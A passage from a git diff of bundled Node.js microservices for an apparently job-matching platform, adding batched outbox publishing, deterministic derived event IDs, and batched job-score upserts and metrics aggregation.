} } async subscribe(options) { this.assertOpen(); diff --git a/api/applications/index.js b/api/applications/index.js index f54f971..8a26daf 100644 --- a/api/applications/index.js +++ b/api/applications/index.js @@ -85106,9 +85106,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values2) { return sql.join( values2.map((value) => sql`${value}`), @@ -85149,16 +85162,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } } async subscribe(options) { this.assertOpen(); diff --git a/api/jobs/index.js b/api/jobs/index.js index c08cc70..e569e24 100644 --- a/api/jobs/index.js +++ b/api/jobs/index.js @@ -85123,9 +85123,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values2) { return sql.join( values2.map((value) => sql`${value}`), @@ -85166,16 +85179,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } } async subscribe(options) { this.assertOpen(); diff --git a/api/learning/index.js b/api/learning/index.js index 39f5448..b526fd5 100644 --- a/api/learning/index.js +++ b/api/learning/index.js @@ -85102,9 +85102,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values2) { return sql.join( values2.map((value) => sql`${value}`), @@ -85145,16 +85158,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } } async subscribe(options) { this.assertOpen(); @@ -85546,6 +85565,7 @@ var PostgresBroker = class { var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts +import { createHash as createHash2 } from "node:crypto"; function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { @@ -85557,6 +85577,19 @@ function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ n }; } var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); +function derivedEventId(parentEventId, key) { + const hash2 = createHash2("sha1").update(DERIVED_EVENT_NAMESPACE).update(`${parentEventId}:${key}`, "utf8").digest(); + hash2[6] = (hash2[6] ?? 0) & 15 | 80; + hash2[8] = (hash2[8] ?? 0) & 63 | 128; + const hex3 = hash2.subarray(0, 16).toString("hex"); + return [ + hex3.slice(0, 8), + hex3.slice(8, 12), + hex3.slice(12, 16), + hex3.slice(16, 20), + hex3.slice(20) + ].join("-"); +} function routingKeyFor(eventType) { return eventType; } @@ -85705,11 +85738,40 @@ var RabbitMqBroker = class { function isDrainableBroker(broker2) { return typeof broker2.drain === "function"; } +function isBatchPublisher(broker2) { + return typeof broker2.publishMany === "function"; +} +var FALLBACK_PUBLISH_CONCURRENCY = 8; +async function publishAll(broker2, envelopes) { + if (envelopes.length === 0) return; + if (isBatchPublisher(broker2)) { + await broker2.publishMany([...envelopes]); + return; + } + let cursor = 0; + let failed = false; + const run = async () => { + while (!failed) { + const envelope = envelopes[cursor]; + if (envelope === void 0) return; + cursor += 1; + try { + await broker2.publish(envelope); + } catch (error62) { + failed = true; + throw error62; + } + } + }; + await Promise.all( + Array.from({ length: Math.min(FALLBACK_PUBLISH_CONCURRENCY, envelopes.length) }, run) + ); +} // packages/messaging/src/drain-auth.ts -import { createHash as createHash2, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; +import { createHash as createHash3, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; function digest(value) { - return createHash2("sha256").update(value, "utf8").digest(); + return createHash3("sha256").update(value, "utf8").digest(); } function isAuthorizedDrainRequest(authorization, secret) { if (secret === "") return false; @@ -85936,10 +85998,25 @@ function drainRoute(app2, deps) { } // services/learning/src/lib/metrics.ts +function summarizeGroups(groups) { + return groups.map((group) => { + const appliedMeanScore = group.appliedCount > 0 ? group.appliedSum / group.appliedCount : null; + const notAppliedMeanScore = group.notAppliedCount > 0 ? group.notAppliedSum / group.notAppliedCount : null; + return { + modelVersion: group.modelVersion, + appliedMeanScore, + notAppliedMeanScore, + appliedSamples: group.appliedCount, + notAppliedSamples: group.notAppliedCount, + lift: appliedMeanScore !== null && notAppliedMeanScore !== null ? appliedMeanScore - notAppliedMeanScore : null + }; + }); +} function computeLearningMetrics(scores, appliedPairs) { const groups = /* @__PURE__ */ new Map(); for (const row of scores) { const group = groups.get(row.modelVersion) ?? { + modelVersion: row.modelVersion, appliedSum: 0, appliedCount: 0, notAppliedSum: 0, @@ -85954,18 +86031,7 @@ function computeLearningMetrics(scores, appliedPairs) { } groups.set(row.modelVersion, group); } - return [...groups.entries()].map(([modelVersion, group]) => { - const appliedMeanScore = group.appliedCount > 0 ? group.appliedSum / group.appliedCount : null; - const notAppliedMeanScore = group.notAppliedCount > 0 ? group.notAppliedSum / group.notAppliedCount : null; - return { - modelVersion, - appliedMeanScore, - notAppliedMeanScore, - appliedSamples: group.appliedCount, - notAppliedSamples: group.notAppliedCount, - lift: appliedMeanScore !== null && notAppliedMeanScore !== null ? appliedMeanScore - notAppliedMeanScore : null - }; - }); + return summarizeGroups([...groups.values()]); } // services/learning/src/repo/lookups.ts @@ -85983,6 +86049,38 @@ async function listApplicationPairs(db2, limit = SAMPLE_LIMIT) { const rows = await db2.select({ userId: schema_exports.applications.userId, jobId: schema_exports.applications.jobId }).from(schema_exports.applications).orderBy(desc(schema_exports.applications.createdAt)).limit(limit); return new Set(rows.map((row) => `${row.userId}:${row.jobId}`)); } +async function aggregateModelGroups(db2, limit = SAMPLE_LIMIT) { + const rows = await db2.execute(sql` + WITH recent AS ( + SELECT s.model_version, + s.score, + EXISTS ( + SELECT 1 FROM applications a WHERE a.user_id = s.user_id AND a.job_id = s.job_id + ) AS applied + FROM ( + SELECT model_version, score, user_id, job_id + FROM job_scores + ORDER BY scored_at DESC + LIMIT ${limit} + ) s + ) + SELECT model_version, + (count(*) FILTER (WHERE applied))::int AS applied_count, + (coalesce(sum(score) FILTER (WHERE applied), 0))::float8 AS applied_sum, + (count(*) FILTER (WHERE NOT applied))::int AS not_applied_count, + (coalesce(sum(score) FILTER (WHERE NOT applied), 0))::float8 AS not_applied_sum + FROM recent + GROUP BY model_version + ORDER BY model_version + `); + return rows.map((row) => ({ + modelVersion: row.model_version, + appliedCount: row.applied_count, + appliedSum: row.applied_sum, + notAppliedCount: row.not_applied_count, + notAppliedSum: row.not_applied_sum + })); +} // services/learning/src/http/routes/get-metrics.ts function getMetricsRoute(app2, deps) { @@ -86117,24 +86215,29 @@ function loadLearningServiceEnv(source = process.env) { } // services/learning/src/worker.ts +var LIFT_METRIC = "score_lift"; async function handleApplicationCreated(deps, envelope) { - const [scores, appliedPairs] = await Promise.all([listRecentScores(deps.db), listApplicationPairs(deps.db)]); - const metrics2 = computeLearningMetrics(scores, appliedPairs); - for (const metric of metrics2) { - if (metric.lift === null) continue; - await deps.broker.publish( - createEvent( - "learning.updated", - { - model_version: metric.modelVersion, - samples: metric.appliedSamples + metric.notAppliedSamples, - metric: "score_lift", - value: metric.lift - }, - childTrace(envelope.trace) - ) - ); - } + const metrics2 = summarizeGroups(await aggregateModelGroups(deps.db)); + const occurredAt = (/* @__PURE__ */ new Date()).toISOString(); + await publishAll( + deps.broker, + metrics2.flatMap( + (metric) => metric.lift === null ? [] : [ + createEvent( + "learning.updated", + { + model_version: metric.modelVersion, + samples: metric.appliedSamples + metric.notAppliedSamples, + metric: LIFT_METRIC, + value: metric.lift + }, + childTrace(envelope.trace), + occurredAt, + derivedEventId(envelope.event_id, `learning.updated:${metric.modelVersion}:${LIFT_METRIC}`) + ) + ] + ) + ); } async function registerConsumers(deps) { const subscription = await deps.broker.subscribe({ diff --git a/api/matching/index.js b/api/matching/index.js index 0b8996d..d234784 100644 --- a/api/matching/index.js +++ b/api/matching/index.js @@ -84269,9 +84269,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values2) { return sql.join( values2.map((value) => sql`${value}`), @@ -84312,16 +84325,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent2(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent2(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } } async subscribe(options) { this.assertOpen(); @@ -84713,6 +84732,7 @@ var PostgresBroker = class { var import_amqplib = __toESM(require_channel_api(), 1); // packages/messaging/src/envelope.ts +import { createHash as createHash2 } from "node:crypto"; function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ new Date()).toISOString(), eventId = newUuid()) { eventPayloadSchema(eventType).parse(payload); return { @@ -84724,6 +84744,19 @@ function createEvent(eventType, payload, trace2, occurredAt = (/* @__PURE__ */ n }; } var DERIVED_EVENT_NAMESPACE = Buffer.from("6f1d0c3ae2b94d7f8a5c9e04b7d31a62", "hex"); +function derivedEventId(parentEventId, key) { + const hash2 = createHash2("sha1").update(DERIVED_EVENT_NAMESPACE).update(`${parentEventId}:${key}`, "utf8").digest(); + hash2[6] = (hash2[6] ?? 0) & 15 | 80; + hash2[8] = (hash2[8] ?? 0) & 63 | 128; + const hex3 = hash2.subarray(0, 16).toString("hex"); + return [ + hex3.slice(0, 8), + hex3.slice(8, 12), + hex3.slice(12, 16), + hex3.slice(16, 20), + hex3.slice(20) + ].join("-"); +} function routingKeyFor(eventType) { return eventType; } @@ -84872,11 +84905,40 @@ var RabbitMqBroker = class { function isDrainableBroker(broker2) { return typeof broker2.drain === "function"; } +function isBatchPublisher(broker2) { + return typeof broker2.publishMany === "function"; +} +var FALLBACK_PUBLISH_CONCURRENCY = 8; +async function publishAll(broker2, envelopes) { + if (envelopes.length === 0) return; + if (isBatchPublisher(broker2)) { + await broker2.publishMany([...envelopes]); + return; + } + let cursor = 0; + let failed = false; + const run = async () => { + while (!failed) { + const envelope = envelopes[cursor]; + if (envelope === void 0) return; + cursor += 1; + try { + await broker2.publish(envelope); + } catch (error62) { + failed = true; + throw error62; + } + } + }; + await Promise.all( + Array.from({ length: Math.min(FALLBACK_PUBLISH_CONCURRENCY, envelopes.length) }, run) + ); +} // packages/messaging/src/drain-auth.ts -import { createHash as createHash2, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; +import { createHash as createHash3, timingSafeEqual as timingSafeEqual2 } from "node:crypto"; function digest(value) { - return createHash2("sha256").update(value, "utf8").digest(); + return createHash3("sha256").update(value, "utf8").digest(); } function isAuthorizedDrainRequest(authorization, secret) { if (secret === "") return false; @@ -85237,39 +85299,67 @@ async function findJobById(db2, jobId) { } var RESCORE_BATCH_LIMIT = 500; async function listActiveJobs(db2, limit = RESCORE_BATCH_LIMIT) { - const rows = await db2.select().from(schema_exports.jobs).where(eq(schema_exports.jobs.isActive, true)).orderBy(desc(schema_exports.jobs.createdAt)).limit(limit); - return rows.map(toJob); + const rows = await db2.select({ jobId: schema_exports.jobs.jobId, title: schema_exports.jobs.title, skills: schema_exports.jobs.skills }).from(schema_exports.jobs).where(eq(schema_exports.jobs.isActive, true)).orderBy(desc(schema_exports.jobs.createdAt), desc(schema_exports.jobs.jobId)).limit(limit); + return rows.map((row) => ({ job_id: row.jobId, title: row.title, skills: row.skills.slice(0, 200) })); } async function findLatestParsedProfile(db2, userId) { - const [row] = await db2.select({ parsedProfile: schema_exports.resumes.parsedProfile }).from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.status, "parsed"))).orderBy(desc(schema_exports.resumes.parsedAt)).limit(1); + const [row] = await db2.select({ parsedProfile: schema_exports.resumes.parsedProfile }).from(schema_exports.resumes).where(and(eq(schema_exports.resumes.userId, userId), eq(schema_exports.resumes.status, "parsed"))).orderBy(desc(schema_exports.resumes.parsedAt), desc(schema_exports.resumes.resumeId)).limit(1); return row?.parsedProfile ?? null; } async function listCandidateUserIds(db2, limit = RESCORE_BATCH_LIMIT) { - const rows = await db2.select({ userId: schema_exports.resumes.userId }).from(schema_exports.resumes).where(eq(schema_exports.resumes.status, "parsed")).orderBy(desc(schema_exports.resumes.parsedAt)).limit(limit); + const rows = await db2.select({ userId: schema_exports.resumes.userId }).from(schema_exports.resumes).where(eq(schema_exports.resumes.status, "parsed")).orderBy(desc(schema_exports.resumes.parsedAt), desc(schema_exports.resumes.resumeId)).limit(limit); return [...new Set(rows.map((row) => row.userId))]; } +async function findLatestParsedProfiles(db2, userIds) { + const profiles = /* @__PURE__ */ new Map(); + if (userIds.length === 0) return profiles; + const rows = await db2.selectDistinctOn([schema_exports.resumes.userId], { + userId: schema_exports.resumes.userId, + parsedProfile: schema_exports.resumes.parsedProfile + }).from(schema_exports.resumes).where(and(inArray(schema_exports.resumes.userId, userIds), eq(schema_exports.resumes.status, "parsed"))).orderBy(schema_exports.resumes.userId, desc(schema_exports.resumes.parsedAt), desc(schema_exports.resumes.resumeId)); + for (const row of rows) { + if (row.parsedProfile) profiles.set(row.userId, row.parsedProfile); + } + return profiles; +} // services/matching/src/repo/scores.ts -async function upsertScore(db2, input2) { +var UPSERT_CHUNK = 250; +function compareIds(a, b2) { + return a < b2 ? -1 : a > b2 ? 1 : 0; +} +async function upsertScores(db2, inputs) { + if (inputs.length === 0) return; + const byPair = /* @__PURE__ */ new Map(); + for (const input2 of inputs) byPair.set(`${input2.jobId}:${input2.userId}`, input2); + const ordered = [...byPair.values()].sort( + (a, b2) => compareIds(a.jobId, b2.jobId) || compareIds(a.userId, b2.userId) + ); + const table = schema_exports.jobScores; const now = (/* @__PURE__ */ new Date()).toISOString(); - await db2.insert(schema_exports.jobScores).values({ - jobId: input2.jobId, - userId: input2.userId, - score: input2.score, - reasons: input2.reasons, - skillGaps: input2.skillGaps, - modelVersion: input2.modelVersion, - scoredAt: now - }).onConflictDoUpdate({ - target: [schema_exports.jobScores.jobId, schema_exports.jobScores.userId], - set: { - score: input2.score, - reasons: input2.reasons, - skillGaps: input2.skillGaps, - modelVersion: input2.modelVersion, - scoredAt: now - } - }); + for (let start = 0; start < ordered.length; start += UPSERT_CHUNK) { + await db2.insert(table).values( + ordered.slice(start, start + UPSERT_CHUNK).map((input2) => ({ + jobId: input2.jobId, + userId: input2.userId, + score: input2.score, + reasons: input2.reasons, + skillGaps: input2.skillGaps, + modelVersion: input2.modelVersion, + scoredAt: now + })) + ).onConflictDoUpdate({ + target: [table.jobId, table.userId], + set: { + score: sql`excluded.score`, + reasons: sql`excluded.reasons`, + skillGaps: sql`excluded.skill_gaps`, + modelVersion: sql`excluded.model_version`, + scoredAt: sql`excluded.scored_at` + }, + setWhere: sql`(${table.score}, ${table.reasons}, ${table.skillGaps}, ${table.modelVersion}) is distinct from (excluded.score, excluded.reasons, excluded.skill_gaps, excluded.model_version)` + }); + } } // services/matching/src/lib/scorer.ts @@ -85313,41 +85403,71 @@ function scoreMatch(job, profile) { } // services/matching/src/worker.ts -async function scoreAndPublish(deps, jobId, userId, trace2) { - const profile = await findLatestParsedProfile(deps.db, userId); - if (!profile) return; - const job = await findJobById(deps.db, jobId); - if (!job || !job.is_active) return; - const result = scoreMatch(job, profile); - await upsertScore(deps.db, { - jobId: job.job_id, - userId, - score: result.score, - reasons: result.reasons, - skillGaps: result.skillGaps, - modelVersion: MODEL_VERSION - }); - await deps.broker.publish( - createEvent( - "job.scored", - { job_id: job.job_id, user_id: userId, score: result.score, model_version: MODEL_VERSION }, - childTrace(trace2, { user_id: userId }) +async function scoreAndPublish(deps, envelope, scores) { + if (scores.length === 0) return; + await upsertScores(deps.db, scores); + const occurredAt = (/* @__PURE__ */ new Date()).toISOString(); + await publishAll( + deps.broker, + scores.map( + (score) => createEvent( + "job.scored", + { + job_id: score.jobId, + user_id: score.userId, + score: score.score, + model_version: score.modelVersion + }, + childTrace(envelope.trace, { user_id: score.userId }), + occurredAt, + derivedEventId(envelope.event_id, `job.scored:${score.jobId}:${score.userId}`) + ) ) ); + deps.logger.info({ event_id: envelope.event_id, scored: scores.length }, "scored job matches"); } async function handleResumeParsed(deps, envelope) { const { user_id } = envelope.payload; + const profile = await findLatestParsedProfile(deps.db, user_id); + if (!profile) return; const jobs2 = await listActiveJobs(deps.db); - for (const job of jobs2) { - await scoreAndPublish(deps, job.job_id, user_id, envelope.trace); - } + await scoreAndPublish( + deps, + envelope, + jobs2.map((job) => { + const result = scoreMatch(job, profile); + return { + jobId: job.job_id, + userId: user_id, + score: result.score, + reasons: result.reasons, + skillGaps: result.skillGaps, + modelVersion: MODEL_VERSION + }; + }) + ); } async function handleJobDiscovered(deps, envelope) { const { job_id } = envelope.payload; + const job = await findJobById(deps.db, job_id); + if (!job || !job.is_active) return; const userIds = await listCandidateUserIds(deps.db); + const profiles = await findLatestParsedProfiles(deps.db, userIds); + const scores = []; for (const userId of userIds) { - await scoreAndPublish(deps, job_id, userId, envelope.trace); + const profile = profiles.get(userId); + if (!profile) continue; + const result = scoreMatch(job, profile); + scores.push({ + jobId: job.job_id, + userId, + score: result.score, + reasons: result.reasons, + skillGaps: result.skillGaps, + modelVersion: MODEL_VERSION + }); } + await scoreAndPublish(deps, envelope, scores); } async function registerConsumers(deps) { const resumeSub = await deps.broker.subscribe({ diff --git a/api/outreach/index.js b/api/outreach/index.js index 6c44323..43a8a79 100644 --- a/api/outreach/index.js +++ b/api/outreach/index.js @@ -85105,9 +85105,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values2) { return sql.join( values2.map((value) => sql`${value}`), @@ -85148,16 +85161,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } } async subscribe(options) { this.assertOpen(); diff --git a/api/profile/index.js b/api/profile/index.js index 7f63ba8..32c7dc3 100644 --- a/api/profile/index.js +++ b/api/profile/index.js @@ -119177,9 +119177,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values3) { return sql.join( values3.map((value) => sql`${value}`), @@ -119220,16 +119233,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await this.db.insert(schema_exports.eventOutbox).values(events.slice(start, start + PUBLISH_BATCH).map(outboxRow)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } } async subscribe(options) { this.assertOpen(); diff --git a/api/referrals/index.js b/api/referrals/index.js index cc958b2..0f4c032 100644 --- a/api/referrals/index.js +++ b/api/referrals/index.js @@ -85104,9 +85104,22 @@ var DEFAULT_RETENTION_MS = 7 * 24 * 60 * 60 * 1e3; var DEFAULT_DRAIN_LIMIT = 100; var DEFAULT_DRAIN_BUDGET_MS = 2e4; var FAN_OUT_BATCH = 500; +var PUBLISH_BATCH = 500; var DEFAULT_PURGE_LIMIT = 500; var MAX_ERROR_LENGTH = 300; var MAX_CONSUMER_LENGTH = 160; +function outboxRow(event) { + return { + eventId: event.event_id, + eventType: event.event_type, + occurredAt: event.occurred_at, + traceId: event.trace.trace_id, + correlationId: event.trace.correlation_id, + organizationId: event.trace.organization_id, + userId: event.trace.user_id, + payload: event.payload + }; +} function inList(values2) { return sql.join( values2.map((value) => sql`${value}`), @@ -85147,16 +85160,22 @@ var PostgresBroker = class { async publish(envelope) { this.assertOpen(); const event = parseEvent(envelope); - await this.db.insert(schema_exports.eventOutbox).values({ - eventId: event.event_id, - eventType: event.event_type, - occurredAt: event.occurred_at, - traceId: event.trace.trace_id, - correlationId: event.trace.correlation_id, - organizationId: event.trace.organization_id, - userId: event.trace.user_id, - payload: event.payload - }).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + await this.db.insert(schema_exports.eventOutbox).values(outboxRow(event)).onConflictDoNothing({ target: schema_exports.eventOutbox.eventId }); + } + /** + * `publish` for many envelopes at once: one multi-row INSERT per + * `PUBLISH_BATCH` (idempotent on `event_id`, also against duplicates inside + * the batch). A fan-out handler that emits hundreds of events needs this, or + * it spends its function budget on round trips. All envelopes are validated + * before the first write; the writes themselves are not one transaction, so a + * failure part-way leaves earlier batches published (see `BatchPublisher`). + */ + async publishMany(envelopes) { + this.assertOpen(); + const events = envelopes.map((envelope) => parseEvent(envelope)); + for (let start = 0; start < events.length; start += PUBLISH_BATCH) { + await 